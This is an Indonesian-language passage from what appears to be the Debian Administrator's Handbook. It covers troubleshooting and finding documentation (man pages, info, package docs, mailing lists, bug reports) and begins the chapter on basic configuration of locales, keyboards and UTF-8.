Bab 7. Memecahkan Masalah dan Menemukan Informasi yang Relevan

Untuk administrator, keterampilan yang paling penting adalah untuk dapat mengatasi setiap situasi, yang dikenal atau tidak dikenal. Bab ini memberikan sejumlah metode yang akan — mudah-mudahan — memungkinkan anda untuk mengisolasi penyebab masalah yang akan anda hadapi, sehingga anda dapat menyelesaikannya.

7.1. Sumber-Sumber Dokumentasi

Sebelum anda dapat memahami apa yang sebenarnya terjadi ketika menemui masalah, anda perlu mengerti tentang teori dan aturan yang berlaku pada setiap program yang berkaitan dengan masalah tersebut. Caranya yang terbaik adalah merujuk pada dokumentasi dari program-program tersebut, namun karena dokumentasi-dokuentasi itu sangatlah banyak dan tersebar luas, anda perlu mengetahui dimana bisa menemukan dokumentasi tersebut.

7.1.1. Halaman Manual

KULTUR RTFM

Ini adalah singkatan untuk kalimat "Read the F**cing Manual" (Bacalah Petunjuknya, Sialan!), namun bisa diartikan ke bahasa yang lebih ramah, "Read the Fine Manual". Kalimat ini sering kali digunakan (dalam singkatan) untuk merespon pertanyaan yang dilontarkan oleh para pemula. Hal ini agak kasar, dan menahan kejengkelan atas pertanyaan-pertanyaan yang diajukan oleh seseorang yang bahkan tidak mau repot-repot membaca dokumentasi sebelum mengajukan pertanyaan. Sebagian orang berpendapat respon klasik ini lebih baik (jika dokumentasi yang bersangkutan memang berisi informasi yang dibutuhkan) ketimbang tidak merespon sama sekali, atau dijawab dengan jawaban yang panjang lebar dan penuh kejengkelan.

Bagaimana pun juga, jika seseorang merespon anda dengan jawaban "RTFM", hal itu tidak dimaksud untuk menyinggung perasaan. Karena jawaban ini dirasa menjengkelkan, mungkin anda mau mencoba lebih untuk menghindari respon seperti ini. Jika informasi yang anda butuhkan tidak terdapat dalam manual, bisa jadi, mungkin anda perlu memberitahukan hal itu juga dalam pertanyaan pertama anda. Anda juga perlu menjelaskan langkah-langkah yang sudah anda lakukan sebelum anda mengajukan pertanyaan di forum. Sebelum berinteraksi di forum, anda dapat mengikuti beberapa petunjuk umum yang direkomendasikan, yang mana telah disusun oleh Eric Raymond.

→ http://catb.org/~esr/faqs/smart-questions.html

Halaman manual, yang biasanya tidak terlalu panjang, berisi informasi penting yang dibutuhkan. Kita akan mencoba langsung perintah untuk menampilkannya, yang disediakan oleh paket man-db. Ketik saja man halaman-manual -- ganti halaman-manual dengan nama perintah yang ingin dipelajari dokumentasinya. Misalnya, untuk lebih memahami opsi dari penggunaan perintah cp, ketik man cp pada shell (lihat di bilah sisi KEMBALI KE DASAR Shell, penafsir baris perintah).

KEMBALI KE DASAR Shell, penafsir baris perintah

Penafsir baris perintah, disebut juga sebagai "Shell", adalah sebuah program yang mengeksekusi perintah-perintah yang diketik oleh pengguna atau yang tersimpan di dalam sebuah skrip. Pada modus interaktif, shell menampilkan sebuah prompt (biasanya diakhiri simbol $ untuk pengguna normal, dan simbol # untuk administrator/superuser), menandakan bahwa shell tersebut sudah siap untuk menerima perintah baru. Lampiran B, Kursus Remedial Singkat menjelaskan tata cara dasar penggunaan shell.

Shell yang paling sering digunakan adalah bash (Bourne Again SHell), tapi masih ada yang lain lagi, di antaranya dash, csh, tcsh dan zsh.

Sebagian besar shell menawarkan bantuan (ketikkan help) saat memasukkan perintah, misalnya penyelesaian ketikan otomatis saat mengetik sebuah perintah atau nama berkas (umumnya dengan menekan tombol tab), atau memanggil ulang perintah-perintah sebelumnya (manajemen riwayat; mis. memeriksa pemetaan untuk "page up" dan "page down" dalam /etc/inputrc).

Halaman manual tidak hanya mendokumentasikan perintah dan program yang dapat diakses dari baris perintah, namun juga berkas konfigurasi, system call, fungsi pustaka, dan banyak lagi. Kadang terdapat nama yang mirip. Misal, perintah shell read mempunyai nama yang sama dengan fungsi system call yaitu read. Itu sebabnya halaman manual disusun dan diurutkan dalam bagian yang diberi nomor:

1

Perintah-perintah yang dapat dieksekusi dari shell;

2

system call (fungsi yang disediakan oleh kernel);

3

fungsi pustaka (yang disediakan oleh pustaka-pustaka sistem);

4

perangkat (di sistem Unix, ini adalah berkas-berkas khusus, yang biasanya terletak pada direktori /dev/;

5

berkas konfigurasi (bentuk dan kaidah);

6

permainan;

7

kumpulan makro dan standar;

8

perintah administrasi sistem;

9

rutin kernel.

Anda bisa memilih bagian tertentu yang anda cari dari halaman manual : menampilkan dokumentasi untuk fungsi system call read, dengan mengetik perintah man 2 read. Jika tidak ada bagian yang dipilih, bagian pertama dari halaman manual yang diminta akan ditampilkan. Perintah man shadow menghasilkan shadow(5) karena tidak ada laman manual untuk shadow pada bab 1 ke 4.

TIP whatis

Jika anda tidak ingin melihat halaman manual yang panjang, tapi hanya ingin deskripsi singkat untuk mengkonfirmasi perintah yang memang anda cari, ketik saja whatisperintah.

$ whatis scp

scp (1)     - secure copy (remote file copy program)

Deskripsi singkat ini juga terdapat dalam bagian NAME di awal semua halaman manual.

Tentu saja, jika anda tidak mengetahui nama dari sebuah perintah, halaman manual tidak terlalu berguna untuk anda. Untuk kebutuhan ini, perintah apropos membantu anda mencari nama-nama perintah pada semua halaman manual atau lebih khususnya, deskripsi singkat dari perintah tersebut. Setiap halaman manual selalu diawali oleh deskripsi singkat. Perintah apropos menampilkan daftar halaman namual yang berisi kata kunci yang diminta. Jika anda memilih kata kunci dengan tepat, mungkin anda akan menemukan apa yang anda cari.

Contoh 7.1. Menemukan cp dengan apropos

$ apropos "copy file"

cp (1)               - copy files and directories

cpio (1)             - copy files to and from archives

hpcopy (1)           - copy files from an HFS+ volume

install (1)          - copy files and set attributes

ntfscp (8)           - copy file to an NTFS volume.

TIP Menjelajah dengan tautan berikut

Banyak halaman manual mempunyai bagian "SEE ALSO" (lihat juga), yang biasanya terletak di bagian akhir. Hal ini mengacu pada halaman manual lain yang relevan, atau dokumentasi luar. Dengan demikian, anda masih bisa menemukan dokumentasi yang relevan jika dokumentasi/manual yang pertama tidak memenuhi kebutuhan informasi anda.

Perintah man bukan satu-satunya yang bisa menyediakan halaman manual, karena program khelpcenter dan konqueror> (dari KDE) dan yelp (di bawah GNOME) juga menyediakan kemungkinan ini. Juga ada antar muka web, yang disediakan oleh paket man2html, yang mengizinkan Anda menampilkan halaman manual di peramban web. Pada komputer yang telah terpasang paket man2html, gunakan URL berikut setelah mengikuti instruksi dalam /usr/share/doc/man2html/README.Debian:

→ http://localhost/cgi-bin/man/man2html

Utilitas ini membutuhkan sebuah web server. Tidak ada ruginya anda memasang paket ini pada salah satu server anda: semua pengguna dari jaringan lokal dapat mengambil keuntungan dari layanan ini (termasuk dari perangkat-perangkat non-Linux), dan anda tidak perlu membuat server HTTP di setiap workstation. Jika server anda bisa diakses dari jaringan lain, mungkin anda ingin membatasi akses layanan ini hanya untuk pengguna lokal.

Terakhir, namun bukan tidak penting, Anda dapat melihat semua halaman manual yang tersedia dalam Debian (bahkan yang tidak terpasang pada mesin Anda) pada layanan manpages.debian.org. Itu menawarkan setiap halaman manual dalam berbagai versi, satu untuk setiap rilis Debian.

→ https://manpages.debian.org

DEBIAN POLICY Halaman man yang dipersyaratkan

Debian mengharuskan setiap program mempunyai halaman manual masing-masing. Jika pembuat perangkat lunak asal (upstream) tidak menyediakan satu pun halaman manual, pemaket Debian biasanya akan menulis halaman manual minimal yang paling tidak mengarahkan pembaca ke dokumentasi asli.

7.1.2. info Dokumen

Proyek GNU telah membuat halaman manual untuk sebagian besar programnya dalam format info; itu sebabnya beberapa halaman manual merujuk ke dokumentasi berformat info. Format ini mempunyai beberapa kelebihan, namun program bawaan untuk menampilkan dokumen ini (bernama info) juga sedikit lebih kompleks. Anda disarankan untuk memakai pinfo sebagai pengganti (dari paket pinfo).

Dokumentasi info mempunyai struktur hirarkis, dan jika Anda menjalankan pinfo tanpa parameter, itu akan menampilkan daftar simpul yang tersedia di tingkat pertama. Biasanya, simpul mengambil nama perintah-perintah yang sesuai.

Dengan pinfo navigasi antar simpul mudah dilakukan dengan tombol-tombol panah. Alternatif lain, Anda bisa juga menggunakan peramban web, yang jauh lebih ramah pengguna. Sekali lagi, konqueror dan yelp bisa dipakai; paket info2www juga menyediakan antar muka web.

→ http://localhost/cgi-bin/info2www

Sebagai catatan, dokumentasi info tidak cocok untuk penerjemahan, tidak seperti halaman man. Maka dokumen-dokumen info hampir selalu dalam bahasa Inggris. Namun, jika Anda meminta program pinfo untuk menampilkan halaman info yang tidak ada, itu akan mengalihkan ke halaman man dengan nama yang sama (jika ada), yang mungkin sudah diterjemahkan.

7.1.3. Dokumentasi Spesifik

Setiap paket mempunyai dokumentasi masing-masing. Bahkan dokumentasi program yang paling sedikit pun mempunyai berkas README yang berisi informasi penting/menarik. Dokumentasi ini terpasang di direktori /usr/share/doc/nama-paket/ (nama-paket merujuk ke nama paket). Jika dokumentasi terlalu besar, mungkin saja dokumentasi tidak dimasukkan ke dalam paket utama program, tapi mungkin tersedia dalam paket khusus yang biasanya memiliki nama package-doc. Paket utama biasanya merekomendasikan paket dokumentasi sehingga anda mudah menemukannya.

Direktori /usr/share/doc/paket/ juga berisi beberapa berkas yang disediakan oleh Debian yang melengkapi dokumentasi dengan menunjukkan kehasan paket atau perbaikan dibandingkan instalasi tradisional sebuah perangkat lunak. Berkas README.Debian juga menunjukkan seluruh adaptasi yang dibuat agar patuh terhadap Debian Policy. Berkas changelog.Debian.gz memungkinkan pengguna untuk mengikuti modifikasi yang dibuat untuk paket sepanjang waktu: sangat berguna untuk mencoba memahami apa yang berubah antara dua versi terinstall yang tidak memiliki perilaku yang sama. Akhirnya, terkadang ada pula sebuah berkas NEWS.Debian.gz yang mendokumentasikan perubahan besar pada program yang mungkin secara langsung diperhatikan administrator (lihat Bagian 6.7.2, “Menangani Masalah setelah Pembaharuan”).

7.1.4. Website

Biasanya, perangkat lunak bebas mempunyai website yang digunakan untuk mendistribusikan perangkat lunak itu sendiri dan untuk menyatukan komunitas pengembang dan penggunanya. Situs-situs ini secara berkala menyediakan informasi yang relevan dalam berbagai bentuk: dokumentasi resmi, FAQ (Frequently Asked Question / Tanya Jawab), arsip milis, dan lainnya. Masalah yang mungkin Anda jumpai seringkali sudah pernah menjadi subjek banyak pertanyaan, Mungkin Anda akan menemukannya di FAQ dan arsip milis. Penguasaan dan penggunaan efektif dari mesin pencari akan terbukti sangat berharga untuk menemukan halaman yang relevan dengan cepat (dengan membatasi pencarian ke domain atau sub-domain yang berkaitan dengan program). Jika hasil pencarian menampilkan terlalu banyak halaman atau hasilnya tidak sesuai dengan yang Anda cari, Anda bisa menambahkan kata kunci debian untuk membatasi hasil pencarian dan menyasar informasi yang relevan.

TIP Dari kesalahan ke solusi

Jika perangkat lunak menghasilkan pesan galat yang spesifik, masukkan ke mesin pencari (diantara tanda kutip, ", agar mesin pencari melakukan pencarian atas keseluruhan kalimat, bukan dari kata-kata yang terpisah). Biasanya, tautan pertama yang muncul berisi jawaban yang anda butuhkan.

Contoh lain, anda biasa akan menerima pesan galat, seperti "Permission denied". Jika ini terjadi, periksa atribut izin dari elemen yang terkait (berkas, ID pengguna, group, dan lainnya).

Jika Anda tidak tahu alamat website dari sebuah perangkat lunak, ada beberapa cara untuk mengetahuinya. Pertama, periksa apakah ada baris Homepage di dalam informasi-meta paket (apt show paket). Cara lain, deskripsi paket mungkin menyediakan tautan ke website resmi program itu. Jika tidak ada tautan URL terlihat, cari di /usr/share/doc/paket/copyright. Maintainer Debian biasanya mencantumkan di berkas tersebut, di mana mereka mendapatkan sumber programnya, dan itu seharusnya adalah website yang Anda cari. Jika sampai tingkat ini, usaha pencarian Anda masih belum berbuah, cari di direktori perangkat lunak bebas, seperti Free Software Directory milik FSF, atau cari langsung dengan mesin pencari, seperti Google, DuckDuckGo, Yahoo, dsb.

→ https://directory.fsf.org/wiki/Main_Page

Anda mungkin ingin melihat wiki Debian, sebuah website hasil kolaborasi dimana setiap orang, bahkan hanya seorang pengunjung, bisa memberikan masukan-masukan, langsung dari peramban web mereka, juga digunakan oleh para pengembang untuk merancang desain dan menetapkan proyek mereka, oleh para pengguna yang berbagi pengetahuan dan pengalaman mereka dengan menulis dokumentasi secara kolaborasi.

→ https://wiki.debian.org/

7.1.5. Tutorial (HOWTO)

HOWTO adalah dokumen yang mendiskripsikan, secara konkret dan langkah demi langkah, bagaimana mencapai tujuan yang sudah ditetapkan. Capaian relatif bervariasi, namun lebih sering bersifat teknis: contohnya, mengatur IP Marquerading, mengkonfigurasi perangkat lunak RAID, memasang server Samba, dan lainnya. Dokumentasi seperti ini biasanya menyediakan penyelesaian atas masalah yang mungkin muncul saat implementasi teknologi terkait.

Banyak tutorial seperti ini dikelola oleh Linux Documentation Project (LDP), yang websitenya menyimpan semua dokumen tersebut:

→ https://www.tldp.org/

Debian juga menyediakan tutorial untuk para penggunanya:

→ https://www.debian.org/doc/

Semua dokumen ini tidak boleh ditelan begitu saja. Mereka seringkali berumur beberapa tahun; informasi yang dikandungnya terkadang sudah usang. Fenomena ini bahkan lebih sering terjadi pada terjemahan mereka, karena pembaruan tidak sistematis atau instan setelah penerbitan versi baru dari dokumen asli. Banyak tutorial lebih lanjut saat ini disediakan oleh blogger, membagikan solusi individu mereka dengan pembaca yang tertarik. Mereka sering kekurangan informasi penting, yaitu alasan mengapa beberapa konfigurasi dipilih daripada yang lain, atau mengapa beberapa opsi telah diaktifkan atau dinonaktifkan. Karena membuat blog dan membuat situs web sendiri membuatnya sangat mudah untuk dibagikan, banyak dari tutorial singkat ini yang ada, tetapi hanya sedikit yang secara aktif dipelihara dan dipelihara dengan baik. Hal ini dapat membuat Anda sulit menemukan yang "tepat" untuk Anda. Ini semua adalah bagian dari kegembiraan bekerja di lingkungan sukarela dan tanpa kendala…

7.2. Prosedur Umum

Bagian ini menyampaikan beberapa tip pada berbagai operasi yang secara berkala harus dilakukan seorang administrator. Tujuan dari prosedur ini tentu saja tidak menyelesaikan setiap kasus yang mungkin terjadi secara menyeluruh. Tapi mungkin akan menjadi titik mula untuk kasus-kasus yang lebih sulit.

PENEMUAN Dokumentasi dalam bahasa-bahasa lain

Seringkali, dokumentasi yang dialih-bahasakan ke bahasa yang bukan bahasa Inggris, tersedia pada paket yang terpisah, dengan nama paket terkait, diikuti -lang (dimana lang adalah kode ISO untuk bahasa yang terdiri dari dua huruf).

Misalnya, paket debian-reference-fr adalah versi Perancis dari panduan referensi untuk Debian (awalnya ditulis dalam bahasa Inggris oleh Osamu Aoki), dan paket manpages-de berisi versi Jerman dari halaman manual tentang menggunakan GNU/Linux.

7.2.1. Mengkonfigurasi Program

Ketika Anda ingin mengonfiguasi sebuah paket yang tidak diketahui, Anda harus melakukannya dalam beberapa langkah. Pertama, Anda harus membaca apa yang telah didokumentasikan oleh maintainer paket. Membaca /usr/share/doc/paket/README.Debian sesungguhnya akan mengizinkan Anda untuk memelajari bekal khusus yang dibuat untuk menyederhanakan penggunaan perangkat lunak. Terkadang ini penting agar memahami perbedaannya dari perilaku asli program, sebagaimana dijelaskan pada dokumentasi umum, seperti howto. Terkadang berkas ini juga merinci error yang paling umum agar menghindarkan Anda untuk membuang waktu pada masalah umum.

Kemudian, Anda harus melihat dokumentasi resmi perangkat lunak — lihat Bagian 7.1, “Sumber-Sumber Dokumentasi” untuk mengidentifikasi berbagai sumber dokumentasi yang ada. Perintah dpkg -L paket memberikan daftar berkas yang disertakan dalam paket; Anda dapat mengidentifikasi dokumentasi yang tersedia secara cepat (dan juga berkas-berkas konfigurasi, yang terletak di /etc/). dpkg -s paket menampilkan meta-data paket dan menampilkan beberapa rekomendasi atau saran paket yang memungkinkan; di sana, Anda dapat menemukan dokumentasi atau sebuah utilitas yang akan memudahkan konfigurasi perangkat lunak.

Akhirnya, berkas konfigurasi sering didokumentasikan-sendiri oleh banyak komentar yang menjelaskan secara rinci berbagai kemungkinan nilai untuk setiap pengaturan konfigurasi. Saking banyaknya terkadang ini cukup untuk sekedar memilih sebuah baris untuk diaktifkan di antara yang tersedia. Dalam beberapa kasus, contoh berkas konfigurasi tersedia di direktori /usr/share/doc/paket/examples/. Mereka disajikan sebagai dasar berkas konfigurasi Anda sendiri.

DEBIAN POLICY Lokasi contoh

Semua contoh harus diinstall di direktori /usr/share/doc/paket/examples/. Dapat berupa berkas konfigurasi, kode sumber program (sebuah contoh penggunaan sebuah pustaka), atau sebuah skrip konversi data yang dapat digunakan oleh administrator untuk beberapa kasus (seperti inisialisasi basisdata). Jika contoh spesifik untuk arsitektur tertentu, harus diinstall di /usr/lib/paket/examples/ dan harus ada tautan yang mengarah ke berkas itu di direktori /usr/share/doc/paket/examples/.

7.2.2. Memonitor Apa yang Dilakukan Daemon

Memahami apa itu daemon terkadang lebih rumit, karena tidak berinteraksi langsung dengan administrator. Untuk memeriksa bahwa sebuah daemon benar-benar bekerja, Anda perlu mencobanya. Misalnya, untuk memeriksa daemon Apache (server web), tes dengan sebuah permintaan HTTP.

KEMBALI KE DASAR Daemon

Sebuah daemon ialah program yang tidak secara eksplisit dijalankan oleh pengguna dan tinggal di background, menunggu kondisi tertentu sebelum melakukan tugasnya. Banyak program server berupa daemon, terminologi yang menjelaskan bahwa huruf “d” seringkali ada pada akhir nama mereka (sshd, smtpd, httpd, dll.).

Untuk melakukan tes, setiap daemon biasanya merekam apapun yang dia lakukan, juga error yang terjadi, yang disebut “berkas log” atau “log sistem”. Log disimpan di /var/log/ atau salah satu subdirektorinya. Untuk mengetahui berkas log setiap daemon secara tepat, lihat dokumentasinya. Catat: satu percobaan tidak selalu cukup jika tidak mencakup semua kemungkinan kasus penggunaan; beberapa masalah hanya terjadi pada kondisi tertentu.

ALAT Daemon rsyslogd

rsyslogd adalah spesial: dia mengoleksi log (pesan sistem internal) yang dikirim kepadanya oleh program lain. Setiap entri log berkaitan dengan sebuah subsistem (surel, kernel, otentikasi, dll.) dan sebuah prioritas; rsyslogd memroses dua keping informasi ini untuk diputuskan apa yang dilakukan. Pesan log mungkin direkam dalam berbagai berkas log, dan/atau dikirim ke konsol administrator. Rinciannya dijelaskan di berkas konfigurasi /etc/rsyslog.conf (didokumentasikan dalam laman manual dengan nama yang sama dalam paket rsyslog-doc).

Fungsi C tertentu, yang khusus mengirim log, memudahkan penggunaan daemon rsyslogd. Akan tetapi beberapa daemon mengelola berkas log mereka sendiri (dalam hal ini, misalnya, samba, yang mengimplementasikan Windows share di Linux).

Perhatikan bahwa ketika systemd sedang dipakai, log sebenarnya dikumpulkan oleh systemd sebelum diteruskan ke rsyslogd. Maka mereka juga tersedia melalui jurnal systemd dan dapat diperiksa dengan journalctl (lihat Bagian 9.1.1, “Sistem init systemd” untuk rincian).

Sebagai sebuah operasi pencegahan, administrator seharusnya membaca log server yang sesuai secara berkala. Mereka dapat melaporkan masalah bahkan sebelum dilaporkan oleh pengguna yang terganggu. Sebenarnya pengguna kadang menunggu sebuah masalah terjadi berulang-ulang selama beberapa hari sebelum mereka melaporkannya. Dalam banyak kasus, ada peralatan spesifik untuk menganalisa konten berkas log yang lebih besar. Di antaranya, ada utilitas untuk server web (seperti analog, awstats, webalizer untuk Apache), untuk server FTP, server proxy/cache, firewall, server surel, server DNS, dan bahkan server pencetak. Peralatan lain, seperti logcheck (sebuah perangkat lunak yang dibahas di Bab 14, Keamanan), memindai berkas ini untuk mencari peringatan yang akan ditangani.

7.2.3. Meminta Bantuan pada Milis

Jika berbagai pencarian tidak membantu Anda ke akar permasalahan, masih memungkinkan untuk mendapatkan bantuan dari yang lainnya, mungkin orang yang lebih berpengalaman. Sesungguhnya ini merupakan tujuan dari milis <debian-user@lists.debian.org> dan saudaranya yang memakai bahasa tertentu <debian-user-bahasa@lists.debian.org>. Sebagai sebuah komunitas, dia memiliki peraturan yang harus dipatuhi. Sebelum mengirim pertanyaan, Anda harus memeriksa apakah masalah Anda belum dibahas oleh diskusi terkini pada milis atau dokumentasi resmi.

→ https://wiki.debian.org/DebianMailingLists

→ https://lists.debian.org/debian-user/

→ https://lists.debian.org/users.html

KEMBALI KE DASAR Netiquette berlaku

Umumnya, untuk semua korespondensi pada milis, peraturan Netiket harus dipatuhi. Istilah ini mengacu ke seperangkat peraturan umum, dari kesalahan adab umum yang harus dihindari.

→ https://tools.ietf.org/html/rfc1855

Lebih lanjut, untuk sebarang kanal komunikasi yang dikelola oleh proyek Debian, Anda terikat oleh Kode Etik Debian:

→ https://www.debian.org/code_of_conduct

Ketika dua syarat tersebut telah dipenuhi, Anda dapat memikirkan untuk menjelaskan masalah Anda pada milis. Sertakan sebanyak mungkin informasi yang sesuai: berbagai percobaan yang dilakukan, dokumentasi yang dibaca, bagaimana Anda melakukan diagnosa masalah, paket yang diperhatikan atau yang mungkin terlibat, dll. Periksa Debian Bug Tracking System (BTS, dijelaskan di samping Bagian 1.3.2.1, “Melaporkan bug”) untuk masalah yang mirip, dan sebutkan hasil pencarian, menyediakan tautan bug yang ditemukan. BTS dimulai di:

→ https://bugs.debian.org/

Semakin Anda sopan dan jelas, semakin besar kesempatan Anda untuk mendapatkan jawaban, atau, setidaknya beberapa unsur tanggapan. Jika Anda menerima informasi yang sesuai oleh surel private, pikirkan untuk meringkaskan informasi ini secara publik agar orang lain mendapatkan manfaatnya. Hal ini juga menjadikan arsip milis, dicari melalu berbagai mesin pencari, untuk menampilkan jawaban untuk orang lain yang mungkin memiliki pertanyaan yang sama.

7.2.4. Melaporkan Kutu Ketika Sebuah Masalah Terlalu Sulit untuk Diselesaikan

Jika semua usaha untuk menyelesaikan sebuah masalah gagal, mungkin jawaban bukan tanggung-jawab Anda, dan masalahnya karena kutu pada program. Dalam hal ini, prosedur yang tepat adalah melaporkan kutu ke Debian atau ke pengembang hulu secara langsung. Untuk melakukan ini, isolasi masalah sebisa mungkin dan buat keadaan percobaan minimal yang dapat menghasilkan permasalahan itu. Jika Anda tahu program mana yang diduga menimbulkan masalah, Anda dapat menemukan paket yang sesuai dengan perintah, dpkg -S berkas_yang_diminta. Periksa Bug Tracking System (https://bugs.debian.org/paket) untuk memastikan bahwa kutu belum dilaporkan. Anda kemudian dapat mengirim laporan kutu Anda sendiri, menggunakan perintah reportbug, termasuk sebanyak mungkin informasi, khususnya penjelasan lengkap tentang keadaan percobaan minimal yang akan memudahkan siapapun untuk membuat ulang kutu.

Unsur bab ini dimaksudkan untuk menyelesaikan masalah secara efektif yang akan dibawa pada bab-bab berikutnya. Gunakan sesering mungkin ketika diperlukan!

Bab 8. Konfigurasi Dasar: Jaringan, Akun, Pencetakan...

Sebuah komputer dengan instalasi baru yang dibuat dengan deban-installer dimaksudkan untuk sefungsional mungkin, namun banyak layanan masih perlu dikonfigurasi. Lebih jauh, sebaiknya kita mengetahui bagaimana cara mengganti elemen konfigurasi tertentu selama proses instalasi awal.

Bab ini mengulas semua yang disertakan dalam apa yang disebut “konfigurasi dasar”: jaringan, bahasa dan lokal, pengguna dan kelompok, pencetakan, titik kait, dll.

8.1. Konfigurasi Sistem untuk Bahasa yang Berbeda

Jika sistem terinstall menggunakan Bahasa Indonesia, mungkin mesin telah memiliki Bahasa Indonesia sebagai bahasa bawaan. Namun perlu diketahui bahwa installer mengatur bahasa, jadi di lain waktu, jika suatu saat diperlukan, Anda dapat mengubahnya.

ALAT Perintah locale menampilkan konfigurasi saat ini

Perintah locale memanpilkan daftar ikhtisar konfigurasi saat ini berbagai parameter locale (format tanggal, format nomor, dll.), disajikan dalam bentuk kelompok variabel lingkungan standar dikhususkan pada modifikasi dinamis dari pengaturan ini.

8.1.1. Mengatur Bahasa Standar

Sebuah locale ialah sekelompok pengaturan regional. Termasuk tidak hanya bahasa untuk teks, tetapi juga format untuk menampilkan angka, tanggal, waktu, dan penjumlahan keuangan, sebagaimana peraturan perbandingan alfabet (untuk menangani karakter beraksen dengan tepat). Meskipun setiap parameter ini dapat ditentukan secara independen satu sama lain, umumnya kita menggunakan sebuah locale, yang merupakan seperangkat nilai koheren untuk parameter ini sesuai dengan “region” dalam arti luas. Locale ini biasanya ditentukan dalam bentuk, kode-bahasa_KODE-NEGARA, terkadang dengan akhiran untuk menentukan set karakter dan encoding yang digunakan. Memungkinkan pertimbangan perbedaan idiomatik atau tipografi antara region yang berbeda dengan sebuah bahasa umum.

KULTUR Set karakter

Sejarahnya, setiap lokal memiliki “set karakter” yang sesuai (sekelompok karakter yang diketahui) dan disebut pula “encoding” (representasi internal untuk karakter dalam komputer).

Encoding yang paling populer untuk bahasa berbasis-latin terbatas pada 256 karakter karena mereka dibatasi untuk menggunakan byte tunggal untuk setiap karakter. Karena 256 karakter tidak cukup untuk mencakup seluruh bahasa Eropa, diperlukan banyak encoding, dan demikianlah kita akhirnya menggunakan ISO-8859-1 (disebut juga “Latin 1”) hingga ISO-8859-15 (disebut juga “Latin 9”), di antara lainnya.

Bekerja dengan bahasa asing seringkali mengakibatkan pergantian reguler antara berbagai encoding dan set karakter. Lebih jauh, menulis dokumen multi bahasa berakibat banyak, masalah yang hampir tak dapat dilacak. Unicode (sebuah katalog-super hampir seluruh penulisan sistem dari segala bahasa penjuru dunia) telah dibuat untuk mengatasi masalah ini. Salah satu encoding Unicode, UTF-8, mencakup seluruh 128 ASCII symbols (kode 7-bit), namun menangani karakter lain dengan cara berbeda. Diawali dengan sebuah urutan escape khusus beberapa bit, yang secara implisit menentukan panjang karakter. Hal ini memungkinkan encoding seluruh karakter Unicode dalam sebuah urutan dari satu atau beberapa byte. Penggunaannya telah dipopulerkan dengan kenyataan bahwa ini merupakan encoding standar dalam dokumen XML.

Encoding inilah yang secara umum digunakan, dan merupakan standar pada sistem Debian.

Paket locales menyertakan semua elemen yang diperlukan agar “pelokalan” berbagai aplikasi dapat berjalan dengan baik. Ketika instalasi, paket ini akan meminta untuk memilih seperangkat bahasa yang didukung. Set ini dapat diubah kapan saja dengan menjalankan dpkg-reconfigure locales dengan hak akses root.

Pertanyaan pertama meminta Anda untuk memilih dukungan “locales”. Memilih seluruh lokal Bahasa Inggris (berarti yang diawali dengan “en_”) merupakan pilihan yang baik. Jangan ragu untuk memfungsikan juga locale lain jika mesin akan digunakan oleh pengguna asing. Daftar locale yang diaktifkan pada sistem disimpan di berkas /etc/locale.gen. Mungkin saja menyuntingnya secara manual, namun Anda harus menjalankan locale-gen setelah memodifikasinya. Ini akan menghasilkan berkas-berkas yang diperlukan oleh locale yang ditambahkan agar dapat bekerja, dan menghapus berkas-berkas yang usang.

Pertanyaan kedua, “Default locale untuk lingkungan sistem”, meminta locale standar. Pilihan yang direkomendasikan di U.S.A adalah “en_US.UTF-8”. Pengguna Bahasa Inggris akan lebih memilih “en_GB.UTF-8”, dan Orang Kanada akan memilih antara “en_CA.UTF-8” atau, untuk Prancis, “fr_CA.UTF-8”. Berkas /etc/default/locale kemudian akan termodifikasi untuk menyimpan pilihan ini. Dari sana, akan diambil oleh seluruh sesi pengguna karena PAM akan memasukkan kontennya ke dalam variabel lingkunran LANG.

Paket locales-all berisi data lokal yang telah dikompilasi sebelumnya untuk semua lokal yang didukung.

DI BALIK LAYAR /etc/environment dan /etc/default/locale

Berkas /etc/environment menyediakan login, gdm, atau bahkan program ssh dengan variabel lingkungan yang akan dibuat secara tepat.

Aplikasi ini tidak membuat variabel ini secara langsung, namun melalui modul PAM (pam_env.so). PAM (Pluggable Authentication Module) merupakan pustaka modular pemusatan mekanisme otentikasi, inisialisasi sesi, dan manajemen kata sandi. Lihat Bagian 11.7.3.2, “Mengkonfigurasi PAM” untuk sebuah contoh konfigurasi PAM.

Berkas /etc/default/locale bekerja dalam cara yang sama, namun hanya berisi variabel lingkungan LANG. Karena pemecahan inilah, beberapa pengguna PAM dapat menurunkan lingkungan lengkap tanpa pelokalan. Sebenarnya, umumnya dihindari untuk menjalankan program server dengan mengaktifkan pelokalan; dengan kata lain, pelokalan dan pengaturan regional direkomendasikan untuk program yang membuka sesi pengguna.

8.1.2. Mengatur Papan ketik

Bahkan jika tata letak papan ketik diatur dengan cara yang berbeda dalam konsol dan mode grafis, Debian menawarkan antarmuka konfigurasi tunggal yang bekerja untuk keduanya; ialah berbasis debconf dan diterapkan dalam paket keyboard-configuration. Perintah dpkg-reconfigure keyboard-configuration dapat digunakan kapan saja untuk mengatur ulang tata letak papan ketik.

Pertanyaannya sesuai dengan tata letak papan ketik fisik (papan ketik standar PC di US berupa “Generic 104 key”), kemudian tata letak yang dipilih (umumnya “US”), dan kemudian posisi tombol AltGr (Alt kanan). Akhirnya pertanyaan tombol yang digunakan untuk “Compose key”, yang memungkinkan untuk memasukkan karakter khusus dengan kombinasi penekanan tombol. Keberhasilan mengetik Compose ' e dan akan menghasilkan sebuah e-acute (“é”). Seluruh kombinasi ini dijelaskan dalam berkas /usr/share/X11/locale/en_US.UTF-8/Compose (atau berkas lain, ditentukan berdasarkan kondisi locale terkini ditunjukkan oleh /usr/share/X11/locale/compose.dir).

Catat bahwa konfigurasi papan ketik untuk mode grafis yang dijelaskan di sini hanya berlaku untuk tata letak standar; antara lain lingkungan GNOME dan KDE Plasma, menyediakan panel kontrol papan ketik dalam preferensi mereka yang memungkinkan setiap pengguna memiliki konfigurasi mereka sendiri. Beberapa pilihan tambahan terkait tingkah laku beberapa kunci juga tersedia di panel kontrol ini.

8.1.3. Migrasi ke UTF-8

Generalisasi encoding UTF-8 telah lama menunggu solusi banyak kesulitan dengan interoperabilitasnya, karena dia memfasilitasi pertukaran internasional dan menghilangkan batasan sewenang-wenang pada karakter yang dapat digunakan di dalam sebuah dokumen. Salah satu kekurangannya ialah bahwa dia harus melalui fase transisi yang sulit. Karena dia tidak dapat transparan sepenuhnya (yakni, tidak terjadi pada saat yang sama di seluruh dunia), diperlukan dua operasi konversi: satu pada konten berkas, dan lainnya pada namaberkas. Untungnya, migrasi masal ini telah sempurna dan kita membahasnya secara lengkap untuk referensi.

KULTUR Mojibake dan kesalahan interpretasi

